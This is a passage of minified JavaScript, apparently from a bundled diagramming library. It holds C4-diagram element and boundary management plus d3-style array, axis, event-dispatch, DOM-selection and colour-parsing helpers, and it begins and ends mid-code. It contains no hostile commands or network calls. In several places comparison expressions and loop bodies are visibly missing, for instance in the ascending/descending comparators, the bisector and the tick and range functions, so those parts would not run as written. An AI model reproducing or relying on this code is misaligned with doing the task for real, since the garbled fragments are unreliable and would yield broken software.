s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.wrap=Sh(),u.typeC4Shape={text:t},u.parentBoundary=ns},"addComponent"),ake=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"system"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addPersonOrSystemBoundary"),ske=o(function(t,e,r,n,i){if(t===null||e===null)return;let a={},s=ac.find(l=>l.alias===t);if(s&&t===s.alias?a=s:(a.alias=t,ac.push(a)),e==null?a.label={text:""}:a.label={text:e},r==null)a.type={text:"container"};else if(typeof r=="object"){let[l,u]=Object.entries(r)[0];a[l]={text:u}}else a.type={text:r};if(typeof n=="object"){let[l,u]=Object.entries(n)[0];a[l]=u}else a.tags=n;if(typeof i=="object"){let[l,u]=Object.entries(i)[0];a[l]=u}else a.link=i;a.parentBoundary=ns,a.wrap=Sh(),pl=ns,ns=t,Eh.push(pl)},"addContainerBoundary"),oke=o(function(t,e,r,n,i,a,s,l){if(e===null||r===null)return;let u={},h=ac.find(f=>f.alias===e);if(h&&e===h.alias?u=h:(u.alias=e,ac.push(u)),r==null?u.label={text:""}:u.label={text:r},n==null)u.type={text:"node"};else if(typeof n=="object"){let[f,d]=Object.entries(n)[0];u[f]={text:d}}else u.type={text:n};if(i==null)u.descr={text:""};else if(typeof i=="object"){let[f,d]=Object.entries(i)[0];u[f]={text:d}}else u.descr={text:i};if(typeof s=="object"){let[f,d]=Object.entries(s)[0];u[f]=d}else u.tags=s;if(typeof l=="object"){let[f,d]=Object.entries(l)[0];u[f]=d}else u.link=l;u.nodeType=t,u.parentBoundary=ns,u.wrap=Sh(),pl=ns,ns=e,Eh.push(pl)},"addDeploymentNode"),lke=o(function(){ns=pl,Eh.pop(),pl=Eh.pop(),Eh.push(pl)},"popBoundaryParseStack"),cke=o(function(t,e,r,n,i,a,s,l,u,h,f){let d=ml.find(p=>p.alias===e);if(!(d===void 0&&(d=ac.find(p=>p.alias===e),d===void 0))){if(r!=null)if(typeof r=="object"){let[p,m]=Object.entries(r)[0];d[p]=m}else d.bgColor=r;if(n!=null)if(typeof n=="object"){let[p,m]=Object.entries(n)[0];d[p]=m}else d.fontColor=n;if(i!=null)if(typeof i=="object"){let[p,m]=Object.entries(i)[0];d[p]=m}else d.borderColor=i;if(a!=null)if(typeof a=="object"){let[p,m]=Object.entries(a)[0];d[p]=m}else d.shadowing=a;if(s!=null)if(typeof s=="object"){let[p,m]=Object.entries(s)[0];d[p]=m}else d.shape=s;if(l!=null)if(typeof l=="object"){let[p,m]=Object.entries(l)[0];d[p]=m}else d.sprite=l;if(u!=null)if(typeof u=="object"){let[p,m]=Object.entries(u)[0];d[p]=m}else d.techn=u;if(h!=null)if(typeof h=="object"){let[p,m]=Object.entries(h)[0];d[p]=m}else d.legendText=h;if(f!=null)if(typeof f=="object"){let[p,m]=Object.entries(f)[0];d[p]=m}else d.legendSprite=f}},"updateElStyle"),uke=o(function(t,e,r,n,i,a,s){let l=sv.find(u=>u.from===e&&u.to===r);if(l!==void 0){if(n!=null)if(typeof n=="object"){let[u,h]=Object.entries(n)[0];l[u]=h}else l.textColor=n;if(i!=null)if(typeof i=="object"){let[u,h]=Object.entries(i)[0];l[u]=h}else l.lineColor=i;if(a!=null)if(typeof a=="object"){let[u,h]=Object.entries(a)[0];l[u]=parseInt(h)}else l.offsetX=parseInt(a);if(s!=null)if(typeof s=="object"){let[u,h]=Object.entries(s)[0];l[u]=parseInt(h)}else l.offsetY=parseInt(s)}},"updateRelStyle"),hke=o(function(t,e,r){let n=V3,i=U3;if(typeof e=="object"){let a=Object.values(e)[0];n=parseInt(a)}else n=parseInt(e);if(typeof r=="object"){let a=Object.values(r)[0];i=parseInt(a)}else i=parseInt(r);n>=1&&(V3=n),i>=1&&(U3=i)},"updateLayoutConfig"),fke=o(function(){return V3},"getC4ShapeInRow"),dke=o(function(){return U3},"getC4BoundaryInRow"),pke=o(function(){return ns},"getCurrentBoundaryParse"),mke=o(function(){return pl},"getParentBoundaryParse"),lH=o(function(t){return t==null?ml:ml.filter(e=>e.parentBoundary===t)},"getC4ShapeArray"),gke=o(function(t){return ml.find(e=>e.alias===t)},"getC4Shape"),yke=o(function(t){return Object.keys(lH(t))},"getC4ShapeKeys"),cH=o(function(t){return t==null?ac:ac.filter(e=>e.parentBoundary===t)},"getBoundaries"),vke=cH,xke=o(function(){return sv},"getRels"),bke=o(function(){return $A},"getTitle"),Tke=o(function(t){zA=t},"setWrap"),Sh=o(function(){return zA},"autoWrap"),wke=o(function(){ml=[],ac=[{alias:"global",label:{text:"global"},type:{text:"global"},tags:null,link:null,parentBoundary:""}],pl="",ns="global",Eh=[""],sv=[],Eh=[""],$A="",zA=!1,V3=4,U3=2},"clear"),kke={SOLID:0,DOTTED:1,NOTE:2,SOLID_CROSS:3,DOTTED_CROSS:4,SOLID_OPEN:5,DOTTED_OPEN:6,LOOP_START:10,LOOP_END:11,ALT_START:12,ALT_ELSE:13,ALT_END:14,OPT_START:15,OPT_END:16,ACTIVE_START:17,ACTIVE_END:18,PAR_START:19,PAR_AND:20,PAR_END:21,RECT_START:22,RECT_END:23,SOLID_POINT:24,DOTTED_POINT:25},Eke={FILLED:0,OPEN:1},Ske={LEFTOF:0,RIGHTOF:1,OVER:2},Cke=o(function(t){$A=sr(t,ge())},"setTitle"),ov={addPersonOrSystem:rke,addPersonOrSystemBoundary:ake,addContainer:nke,addContainerBoundary:ske,addComponent:ike,addDeploymentNode:oke,popBoundaryParseStack:lke,addRel:tke,updateElStyle:cke,updateRelStyle:uke,updateLayoutConfig:hke,autoWrap:Sh,setWrap:Tke,getC4ShapeArray:lH,getC4Shape:gke,getC4ShapeKeys:yke,getBoundaries:cH,getBoundarys:vke,getCurrentBoundaryParse:pke,getParentBoundaryParse:mke,getRels:xke,getTitle:bke,getC4Type:Jwe,getC4ShapeInRow:fke,getC4BoundaryInRow:dke,setAccTitle:Rr,getAccTitle:Mr,getAccDescription:Or,setAccDescription:Ir,getConfig:o(()=>ge().c4,"getConfig"),clear:wke,LINETYPE:kke,ARROWTYPE:Eke,PLACEMENT:Ske,setTitle:Cke,setC4Type:eke}});function bd(t,e){return t==null||e==null?NaN:te?1:t>=e?0:NaN}var VA=N(()=>{"use strict";o(bd,"ascending")});function UA(t,e){return t==null||e==null?NaN:et?1:e>=t?0:NaN}var uH=N(()=>{"use strict";o(UA,"descending")});function Td(t){let e,r,n;t.length!==2?(e=bd,r=o((l,u)=>bd(t(l),u),"compare2"),n=o((l,u)=>t(l)-u,"delta")):(e=t===bd||t===UA?t:Ake,r=t,n=t);function i(l,u,h=0,f=l.length){if(h>>1;r(l[d],u)<0?h=d+1:f=d}while(h>>1;r(l[d],u)<=0?h=d+1:f=d}while(hh&&n(l[d-1],u)>-n(l[d],u)?d-1:d}return o(s,"center"),{left:i,center:s,right:a}}function Ake(){return 0}var HA=N(()=>{"use strict";VA();uH();o(Td,"bisector");o(Ake,"zero")});function qA(t){return t===null?NaN:+t}var hH=N(()=>{"use strict";o(qA,"number")});var fH,dH,_ke,Dke,WA,pH=N(()=>{"use strict";VA();HA();hH();fH=Td(bd),dH=fH.right,_ke=fH.left,Dke=Td(qA).center,WA=dH});function mH({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):r}function Lke({_intern:t,_key:e},r){let n=e(r);return t.has(n)?t.get(n):(t.set(n,r),r)}function Rke({_intern:t,_key:e},r){let n=e(r);return t.has(n)&&(r=t.get(n),t.delete(n)),r}function Nke(t){return t!==null&&typeof t=="object"?t.valueOf():t}var D0,gH=N(()=>{"use strict";D0=class extends Map{static{o(this,"InternMap")}constructor(e,r=Nke){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:r}}),e!=null)for(let[n,i]of e)this.set(n,i)}get(e){return super.get(mH(this,e))}has(e){return super.has(mH(this,e))}set(e,r){return super.set(Lke(this,e),r)}delete(e){return super.delete(Rke(this,e))}};o(mH,"intern_get");o(Lke,"intern_set");o(Rke,"intern_delete");o(Nke,"keyof")});function H3(t,e,r){let n=(e-t)/Math.max(0,r),i=Math.floor(Math.log10(n)),a=n/Math.pow(10,i),s=a>=Mke?10:a>=Ike?5:a>=Oke?2:1,l,u,h;return i<0?(h=Math.pow(10,-i)/s,l=Math.round(t*h),u=Math.round(e*h),l/he&&--u,h=-h):(h=Math.pow(10,i)*s,l=Math.round(t/h),u=Math.round(e/h),l*he&&--u),u0))return[];if(t===e)return[t];let n=e=i))return[];let l=a-i+1,u=new Array(l);if(n)if(s<0)for(let h=0;h{"use strict";Mke=Math.sqrt(50),Ike=Math.sqrt(10),Oke=Math.sqrt(2);o(H3,"tickSpec");o(q3,"ticks");o(lv,"tickIncrement");o(L0,"tickStep")});function W3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r=i)&&(r=i)}return r}var vH=N(()=>{"use strict";o(W3,"max")});function Y3(t,e){let r;if(e===void 0)for(let n of t)n!=null&&(r>n||r===void 0&&n>=n)&&(r=n);else{let n=-1;for(let i of t)(i=e(i,++n,t))!=null&&(r>i||r===void 0&&i>=i)&&(r=i)}return r}var xH=N(()=>{"use strict";o(Y3,"min")});function X3(t,e,r){t=+t,e=+e,r=(i=arguments.length)<2?(e=t,t=0,1):i<3?1:+r;for(var n=-1,i=Math.max(0,Math.ceil((e-t)/r))|0,a=new Array(i);++n{"use strict";o(X3,"range")});var Ch=N(()=>{"use strict";pH();HA();vH();xH();bH();yH();gH()});function YA(t){return t}var TH=N(()=>{"use strict";o(YA,"default")});function Pke(t){return"translate("+t+",0)"}function Bke(t){return"translate(0,"+t+")"}function Fke(t){return e=>+t(e)}function $ke(t,e){return e=Math.max(0,t.bandwidth()-e*2)/2,t.round()&&(e=Math.round(e)),r=>+t(r)+e}function zke(){return!this.__axis}function kH(t,e){var r=[],n=null,i=null,a=6,s=6,l=3,u=typeof window<"u"&&window.devicePixelRatio>1?0:.5,h=t===K3||t===j3?-1:1,f=t===j3||t===XA?"x":"y",d=t===K3||t===jA?Pke:Bke;function p(m){var g=n??(e.ticks?e.ticks.apply(e,r):e.domain()),y=i??(e.tickFormat?e.tickFormat.apply(e,r):YA),v=Math.max(a,0)+l,x=e.range(),b=+x[0]+u,T=+x[x.length-1]+u,S=(e.bandwidth?$ke:Fke)(e.copy(),u),w=m.selection?m.selection():m,k=w.selectAll(".domain").data([null]),A=w.selectAll(".tick").data(g,e).order(),C=A.exit(),R=A.enter().append("g").attr("class","tick"),I=A.select("line"),L=A.select("text");k=k.merge(k.enter().insert("path",".tick").attr("class","domain").attr("stroke","currentColor")),A=A.merge(R),I=I.merge(R.append("line").attr("stroke","currentColor").attr(f+"2",h*a)),L=L.merge(R.append("text").attr("fill","currentColor").attr(f,h*v).attr("dy",t===K3?"0em":t===jA?"0.71em":"0.32em")),m!==w&&(k=k.transition(m),A=A.transition(m),I=I.transition(m),L=L.transition(m),C=C.transition(m).attr("opacity",wH).attr("transform",function(E){return isFinite(E=S(E))?d(E+u):this.getAttribute("transform")}),R.attr("opacity",wH).attr("transform",function(E){var D=this.parentNode.__axis;return d((D&&isFinite(D=D(E))?D:S(E))+u)})),C.remove(),k.attr("d",t===j3||t===XA?s?"M"+h*s+","+b+"H"+u+"V"+T+"H"+h*s:"M"+u+","+b+"V"+T:s?"M"+b+","+h*s+"V"+u+"H"+T+"V"+h*s:"M"+b+","+u+"H"+T),A.attr("opacity",1).attr("transform",function(E){return d(S(E)+u)}),I.attr(f+"2",h*a),L.attr(f,h*v).text(y),w.filter(zke).attr("fill","none").attr("font-size",10).attr("font-family","sans-serif").attr("text-anchor",t===XA?"start":t===j3?"end":"middle"),w.each(function(){this.__axis=S})}return o(p,"axis"),p.scale=function(m){return arguments.length?(e=m,p):e},p.ticks=function(){return r=Array.from(arguments),p},p.tickArguments=function(m){return arguments.length?(r=m==null?[]:Array.from(m),p):r.slice()},p.tickValues=function(m){return arguments.length?(n=m==null?null:Array.from(m),p):n&&n.slice()},p.tickFormat=function(m){return arguments.length?(i=m,p):i},p.tickSize=function(m){return arguments.length?(a=s=+m,p):a},p.tickSizeInner=function(m){return arguments.length?(a=+m,p):a},p.tickSizeOuter=function(m){return arguments.length?(s=+m,p):s},p.tickPadding=function(m){return arguments.length?(l=+m,p):l},p.offset=function(m){return arguments.length?(u=+m,p):u},p}function KA(t){return kH(K3,t)}function QA(t){return kH(jA,t)}var K3,XA,jA,j3,wH,EH=N(()=>{"use strict";TH();K3=1,XA=2,jA=3,j3=4,wH=1e-6;o(Pke,"translateX");o(Bke,"translateY");o(Fke,"number");o($ke,"center");o(zke,"entering");o(kH,"axis");o(KA,"axisTop");o(QA,"axisBottom")});var SH=N(()=>{"use strict";EH()});function AH(){for(var t=0,e=arguments.length,r={},n;t=0&&(n=r.slice(i+1),r=r.slice(0,i)),r&&!e.hasOwnProperty(r))throw new Error("unknown type: "+r);return{type:r,name:n}})}function Uke(t,e){for(var r=0,n=t.length,i;r{"use strict";Gke={value:o(()=>{},"value")};o(AH,"dispatch");o(Q3,"Dispatch");o(Vke,"parseTypenames");Q3.prototype=AH.prototype={constructor:Q3,on:o(function(t,e){var r=this._,n=Vke(t+"",r),i,a=-1,s=n.length;if(arguments.length<2){for(;++a0)for(var r=new Array(i),n=0,i,a;n{"use strict";_H()});var Z3,e8,t8=N(()=>{"use strict";Z3="http://www.w3.org/1999/xhtml",e8={svg:"http://www.w3.org/2000/svg",xhtml:Z3,xlink:"http://www.w3.org/1999/xlink",xml:"http://www.w3.org/XML/1998/namespace",xmlns:"http://www.w3.org/2000/xmlns/"}});function sc(t){var e=t+="",r=e.indexOf(":");return r>=0&&(e=t.slice(0,r))!=="xmlns"&&(t=t.slice(r+1)),e8.hasOwnProperty(e)?{space:e8[e],local:t}:t}var J3=N(()=>{"use strict";t8();o(sc,"default")});function Hke(t){return function(){var e=this.ownerDocument,r=this.namespaceURI;return r===Z3&&e.documentElement.namespaceURI===Z3?e.createElement(t):e.createElementNS(r,t)}}function qke(t){return function(){return this.ownerDocument.createElementNS(t.space,t.local)}}function cv(t){var e=sc(t);return(e.local?qke:Hke)(e)}var r8=N(()=>{"use strict";J3();t8();o(Hke,"creatorInherit");o(qke,"creatorFixed");o(cv,"default")});function Wke(){}function Ah(t){return t==null?Wke:function(){return this.querySelector(t)}}var e5=N(()=>{"use strict";o(Wke,"none");o(Ah,"default")});function n8(t){typeof t!="function"&&(t=Ah(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();e5();o(n8,"default")});function i8(t){return t==null?[]:Array.isArray(t)?t:Array.from(t)}var LH=N(()=>{"use strict";o(i8,"array")});function Yke(){return[]}function R0(t){return t==null?Yke:function(){return this.querySelectorAll(t)}}var a8=N(()=>{"use strict";o(Yke,"empty");o(R0,"default")});function Xke(t){return function(){return i8(t.apply(this,arguments))}}function s8(t){typeof t=="function"?t=Xke(t):t=R0(t);for(var e=this._groups,r=e.length,n=[],i=[],a=0;a{"use strict";gl();LH();a8();o(Xke,"arrayAll");o(s8,"default")});function N0(t){return function(){return this.matches(t)}}function t5(t){return function(e){return e.matches(t)}}var uv=N(()=>{"use strict";o(N0,"default");o(t5,"childMatcher")});function Kke(t){return function(){return jke.call(this.children,t)}}function Qke(){return this.firstElementChild}function o8(t){return this.select(t==null?Qke:Kke(typeof t=="function"?t:t5(t)))}var jke,NH=N(()=>{"use strict";uv();jke=Array.prototype.find;o(Kke,"childFind");o(Qke,"childFirst");o(o8,"default")});function Jke(){return Array.from(this.children)}function eEe(t){return function(){return Zke.call(this.children,t)}}function l8(t){return this.selectAll(t==null?Jke:eEe(typeof t=="function"?t:t5(t)))}var Zke,MH=N(()=>{"use strict";uv();Zke=Array.prototype.filter;o(Jke,"children");o(eEe,"childrenFilter");o(l8,"default")});function c8(t){typeof t!="function"&&(t=N0(t));for(var e=this._groups,r=e.length,n=new Array(r),i=0;i{"use strict";gl();uv();o(c8,"default")});function hv(t){return new Array(t.length)}var u8=N(()=>{"use strict";o(hv,"default")});function h8(){return new ui(this._enter||this._groups.map(hv),this._parents)}function fv(t,e){this.ownerDocument=t.ownerDocument,this.namespaceURI=t.namespaceURI,this._next=null,this._parent=t,this.__data__=e}var f8=N(()=>{"use strict";u8();gl();o(h8,"default");o(fv,"EnterNode");fv.prototype={constructor:fv,appendChild:o(function(t){return this._parent.insertBefore(t,this._next)},"appendChild"),insertBefore:o(function(t,e){return this._parent.insertBefore(t,e)},"insertBefore"),querySelector:o(function(t){return this._parent.querySelector(t)},"querySelector"),querySelectorAll:o(function(t){return this._parent.querySelectorAll(t)},"querySelectorAll")}});function d8(t){return function(){return t}}var OH=N(()=>{"use strict";o(d8,"default")});function tEe(t,e,r,n,i,a){for(var s=0,l,u=e.length,h=a.length;s=T&&(T=b+1);!(w=v[T])&&++T{"use strict";gl();f8();OH();o(tEe,"bindIndex");o(rEe,"bindKey");o(nEe,"datum");o(p8,"default");o(iEe,"arraylike")});function m8(){return new ui(this._exit||this._groups.map(hv),this._parents)}var BH=N(()=>{"use strict";u8();gl();o(m8,"default")});function g8(t,e,r){var n=this.enter(),i=this,a=this.exit();return typeof t=="function"?(n=t(n),n&&(n=n.selection())):n=n.append(t+""),e!=null&&(i=e(i),i&&(i=i.selection())),r==null?a.remove():r(a),n&&i?n.merge(i).order():i}var FH=N(()=>{"use strict";o(g8,"default")});function y8(t){for(var e=t.selection?t.selection():t,r=this._groups,n=e._groups,i=r.length,a=n.length,s=Math.min(i,a),l=new Array(i),u=0;u{"use strict";gl();o(y8,"default")});function v8(){for(var t=this._groups,e=-1,r=t.length;++e=0;)(s=n[i])&&(a&&s.compareDocumentPosition(a)^4&&a.parentNode.insertBefore(s,a),a=s);return this}var zH=N(()=>{"use strict";o(v8,"default")});function x8(t){t||(t=aEe);function e(d,p){return d&&p?t(d.__data__,p.__data__):!d-!p}o(e,"compareNode");for(var r=this._groups,n=r.length,i=new Array(n),a=0;ae?1:t>=e?0:NaN}var GH=N(()=>{"use strict";gl();o(x8,"default");o(aEe,"ascending")});function b8(){var t=arguments[0];return arguments[0]=this,t.apply(null,arguments),this}var VH=N(()=>{"use strict";o(b8,"default")});function T8(){return Array.from(this)}var UH=N(()=>{"use strict";o(T8,"default")});function w8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(w8,"default")});function k8(){let t=0;for(let e of this)++t;return t}var qH=N(()=>{"use strict";o(k8,"default")});function E8(){return!this.node()}var WH=N(()=>{"use strict";o(E8,"default")});function S8(t){for(var e=this._groups,r=0,n=e.length;r{"use strict";o(S8,"default")});function sEe(t){return function(){this.removeAttribute(t)}}function oEe(t){return function(){this.removeAttributeNS(t.space,t.local)}}function lEe(t,e){return function(){this.setAttribute(t,e)}}function cEe(t,e){return function(){this.setAttributeNS(t.space,t.local,e)}}function uEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttribute(t):this.setAttribute(t,r)}}function hEe(t,e){return function(){var r=e.apply(this,arguments);r==null?this.removeAttributeNS(t.space,t.local):this.setAttributeNS(t.space,t.local,r)}}function C8(t,e){var r=sc(t);if(arguments.length<2){var n=this.node();return r.local?n.getAttributeNS(r.space,r.local):n.getAttribute(r)}return this.each((e==null?r.local?oEe:sEe:typeof e=="function"?r.local?hEe:uEe:r.local?cEe:lEe)(r,e))}var XH=N(()=>{"use strict";J3();o(sEe,"attrRemove");o(oEe,"attrRemoveNS");o(lEe,"attrConstant");o(cEe,"attrConstantNS");o(uEe,"attrFunction");o(hEe,"attrFunctionNS");o(C8,"default")});function dv(t){return t.ownerDocument&&t.ownerDocument.defaultView||t.document&&t||t.defaultView}var A8=N(()=>{"use strict";o(dv,"default")});function fEe(t){return function(){this.style.removeProperty(t)}}function dEe(t,e,r){return function(){this.style.setProperty(t,e,r)}}function pEe(t,e,r){return function(){var n=e.apply(this,arguments);n==null?this.style.removeProperty(t):this.style.setProperty(t,n,r)}}function _8(t,e,r){return arguments.length>1?this.each((e==null?fEe:typeof e=="function"?pEe:dEe)(t,e,r??"")):_h(this.node(),t)}function _h(t,e){return t.style.getPropertyValue(e)||dv(t).getComputedStyle(t,null).getPropertyValue(e)}var D8=N(()=>{"use strict";A8();o(fEe,"styleRemove");o(dEe,"styleConstant");o(pEe,"styleFunction");o(_8,"default");o(_h,"styleValue")});function mEe(t){return function(){delete this[t]}}function gEe(t,e){return function(){this[t]=e}}function yEe(t,e){return function(){var r=e.apply(this,arguments);r==null?delete this[t]:this[t]=r}}function L8(t,e){return arguments.length>1?this.each((e==null?mEe:typeof e=="function"?yEe:gEe)(t,e)):this.node()[t]}var jH=N(()=>{"use strict";o(mEe,"propertyRemove");o(gEe,"propertyConstant");o(yEe,"propertyFunction");o(L8,"default")});function KH(t){return t.trim().split(/^|\s+/)}function R8(t){return t.classList||new QH(t)}function QH(t){this._node=t,this._names=KH(t.getAttribute("class")||"")}function ZH(t,e){for(var r=R8(t),n=-1,i=e.length;++n{"use strict";o(KH,"classArray");o(R8,"classList");o(QH,"ClassList");QH.prototype={add:o(function(t){var e=this._names.indexOf(t);e<0&&(this._names.push(t),this._node.setAttribute("class",this._names.join(" ")))},"add"),remove:o(function(t){var e=this._names.indexOf(t);e>=0&&(this._names.splice(e,1),this._node.setAttribute("class",this._names.join(" ")))},"remove"),contains:o(function(t){return this._names.indexOf(t)>=0},"contains")};o(ZH,"classedAdd");o(JH,"classedRemove");o(vEe,"classedTrue");o(xEe,"classedFalse");o(bEe,"classedFunction");o(N8,"default")});function TEe(){this.textContent=""}function wEe(t){return function(){this.textContent=t}}function kEe(t){return function(){var e=t.apply(this,arguments);this.textContent=e??""}}function M8(t){return arguments.length?this.each(t==null?TEe:(typeof t=="function"?kEe:wEe)(t)):this.node().textContent}var tq=N(()=>{"use strict";o(TEe,"textRemove");o(wEe,"textConstant");o(kEe,"textFunction");o(M8,"default")});function EEe(){this.innerHTML=""}function SEe(t){return function(){this.innerHTML=t}}function CEe(t){return function(){var e=t.apply(this,arguments);this.innerHTML=e??""}}function I8(t){return arguments.length?this.each(t==null?EEe:(typeof t=="function"?CEe:SEe)(t)):this.node().innerHTML}var rq=N(()=>{"use strict";o(EEe,"htmlRemove");o(SEe,"htmlConstant");o(CEe,"htmlFunction");o(I8,"default")});function AEe(){this.nextSibling&&this.parentNode.appendChild(this)}function O8(){return this.each(AEe)}var nq=N(()=>{"use strict";o(AEe,"raise");o(O8,"default")});function _Ee(){this.previousSibling&&this.parentNode.insertBefore(this,this.parentNode.firstChild)}function P8(){return this.each(_Ee)}var iq=N(()=>{"use strict";o(_Ee,"lower");o(P8,"default")});function B8(t){var e=typeof t=="function"?t:cv(t);return this.select(function(){return this.appendChild(e.apply(this,arguments))})}var aq=N(()=>{"use strict";r8();o(B8,"default")});function DEe(){return null}function F8(t,e){var r=typeof t=="function"?t:cv(t),n=e==null?DEe:typeof e=="function"?e:Ah(e);return this.select(function(){return this.insertBefore(r.apply(this,arguments),n.apply(this,arguments)||null)})}var sq=N(()=>{"use strict";r8();e5();o(DEe,"constantNull");o(F8,"default")});function LEe(){var t=this.parentNode;t&&t.removeChild(this)}function $8(){return this.each(LEe)}var oq=N(()=>{"use strict";o(LEe,"remove");o($8,"default")});function REe(){var t=this.cloneNode(!1),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function NEe(){var t=this.cloneNode(!0),e=this.parentNode;return e?e.insertBefore(t,this.nextSibling):t}function z8(t){return this.select(t?NEe:REe)}var lq=N(()=>{"use strict";o(REe,"selection_cloneShallow");o(NEe,"selection_cloneDeep");o(z8,"default")});function G8(t){return arguments.length?this.property("__data__",t):this.node().__data__}var cq=N(()=>{"use strict";o(G8,"default")});function MEe(t){return function(e){t.call(this,e,this.__data__)}}function IEe(t){return t.trim().split(/^|\s+/).map(function(e){var r="",n=e.indexOf(".");return n>=0&&(r=e.slice(n+1),e=e.slice(0,n)),{type:e,name:r}})}function OEe(t){return function(){var e=this.__on;if(e){for(var r=0,n=-1,i=e.length,a;r{"use strict";o(MEe,"contextListener");o(IEe,"parseTypenames");o(OEe,"onRemove");o(PEe,"onAdd");o(V8,"default")});function hq(t,e,r){var n=dv(t),i=n.CustomEvent;typeof i=="function"?i=new i(e,r):(i=n.document.createEvent("Event"),r?(i.initEvent(e,r.bubbles,r.cancelable),i.detail=r.detail):i.initEvent(e,!1,!1)),t.dispatchEvent(i)}function BEe(t,e){return function(){return hq(this,t,e)}}function FEe(t,e){return function(){return hq(this,t,e.apply(this,arguments))}}function U8(t,e){return this.each((typeof e=="function"?FEe:BEe)(t,e))}var fq=N(()=>{"use strict";A8();o(hq,"dispatchEvent");o(BEe,"dispatchConstant");o(FEe,"dispatchFunction");o(U8,"default")});function*H8(){for(var t=this._groups,e=0,r=t.length;e{"use strict";o(H8,"default")});function ui(t,e){this._groups=t,this._parents=e}function pq(){return new ui([[document.documentElement]],q8)}function $Ee(){return this}var q8,yu,gl=N(()=>{"use strict";DH();RH();NH();MH();IH();PH();f8();BH();FH();$H();zH();GH();VH();UH();HH();qH();WH();YH();XH();D8();jH();eq();tq();rq();nq();iq();aq();sq();oq();lq();cq();uq();fq();dq();q8=[null];o(ui,"Selection");o(pq,"selection");o($Ee,"selection_selection");ui.prototype=pq.prototype={constructor:ui,select:n8,selectAll:s8,selectChild:o8,selectChildren:l8,filter:c8,data:p8,enter:h8,exit:m8,join:g8,merge:y8,selection:$Ee,order:v8,sort:x8,call:b8,nodes:T8,node:w8,size:k8,empty:E8,each:S8,attr:C8,style:_8,property:L8,classed:N8,text:M8,html:I8,raise:O8,lower:P8,append:B8,insert:F8,remove:$8,clone:z8,datum:G8,on:V8,dispatch:U8,[Symbol.iterator]:H8};yu=pq});function qe(t){return typeof t=="string"?new ui([[document.querySelector(t)]],[document.documentElement]):new ui([[t]],q8)}var mq=N(()=>{"use strict";gl();o(qe,"default")});var yl=N(()=>{"use strict";uv();J3();mq();gl();e5();a8();D8()});var gq=N(()=>{"use strict"});function Dh(t,e,r){t.prototype=e.prototype=r,r.constructor=t}function M0(t,e){var r=Object.create(t.prototype);for(var n in e)r[n]=e[n];return r}var W8=N(()=>{"use strict";o(Dh,"default");o(M0,"extend")});function Lh(){}function vq(){return this.rgb().formatHex()}function YEe(){return this.rgb().formatHex8()}function XEe(){return Sq(this).formatHsl()}function xq(){return this.rgb().formatRgb()}function xl(t){var e,r;return t=(t+"").trim().toLowerCase(),(e=zEe.exec(t))?(r=e[1].length,e=parseInt(e[1],16),r===6?bq(e):r===3?new oa(e>>8&15|e>>4&240,e>>4&15|e&240,(e&15)<<4|e&15,1):r===8?r5(e>>24&255,e>>16&255,e>>8&255,(e&255)/255):r===4?r5(e>>12&15|e>>8&240,e>>8&15|e>>4&240,e>>4&15|e&240,((e&15)<<4|e&15)/255):null):(e=GEe.exec(t))?new oa(e[1],e[2],e[3],1):(e=VEe.exec(t))?new oa(e[1]*255/100,e[2]*255/100,e[3]*255/100,1):(e=UEe.exec(t))?r5(e[1],e[2],e[3],e[4]):(e=HEe.exec(t))?r5(e[1]*255/100,e[2]*255/100,e[3]*255/100,e[4]):(e=qEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,1):(e=WEe.exec(t))?kq(e[1],e[2]/100,e[3]/100,e[4]):yq.hasOwnProperty(t)?bq(yq[t]):t==="transparent"?new oa(NaN,NaN,NaN,0):null}function bq(t){return new oa(t>>16&255,t>>8&255,t&255,1)}function r5(t,e,r,n){return n<=0&&(t=e=r=NaN),new oa(t,e,r,n)}function X8(t){return t instanceof Lh||(t=xl(t)),t?(t=t.rgb(),new oa(t.r,t.g,t.b,t.opacity)):new oa}function O0(t,e,r,n){return arguments.length===1?X8(t):new oa(t,e,r,n??1)}function oa(t,e,r,n){this.r=+t,this.g=+e,this.b=+r,this.opacity=+n}function Tq(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}`}function jEe(){return`#${wd(this.r)}${wd(this.g)}${wd(this.b)}${wd((isNaN(this.opacity)?1:this.opacity)*255)}`}function wq(){let t=a5(this.opacity);return`${t===1?"rgb(":"rgba("}${kd(this.r)}, ${kd(this.g)}, ${kd(this.b)}${t===1?")":`, ${t})`}`}function a5(t){return isNaN(t)?1:Math.max(0,Math.min(1,t))}function kd(t){return Math.max(0,Math.min(255,Math.round(t)||0))}function wd(t){return t=kd(t),(t<16?"0":"")+t.toString(16)}function kq(t,e,r,n){return n<=0?t=e=r=NaN:r<=0||r>=1?t=e=NaN:e<=0&&(t=NaN),new vl(t,e,r,n)}function Sq(t){if(t instanceof vl)return new vl(t.h,t.s,t.l,t.opacity);if(t instanceof Lh||(t=xl(t)),!t)return new vl;if(t instanceof vl)return t;t=t.rgb();var e=t.r/255,r=t.g/255,n=t.b/255,i=Math.min(e,r,n),a=Math.max(e,r,n),s=NaN,l=a-i,u=(a+i)/2;return l?(e===a?s=(r-n)/l+(r0&&u<1?0:s,new vl(s,l,u,t.opacity)}function Cq(t,e,r,n){return arguments.length===1?Sq(t):new vl(t,e,r,n??1)}function vl(t,e,r,n){this.h=+t,this.s=+e,this.l=+r,this.opacity=+n}function Eq(t){return 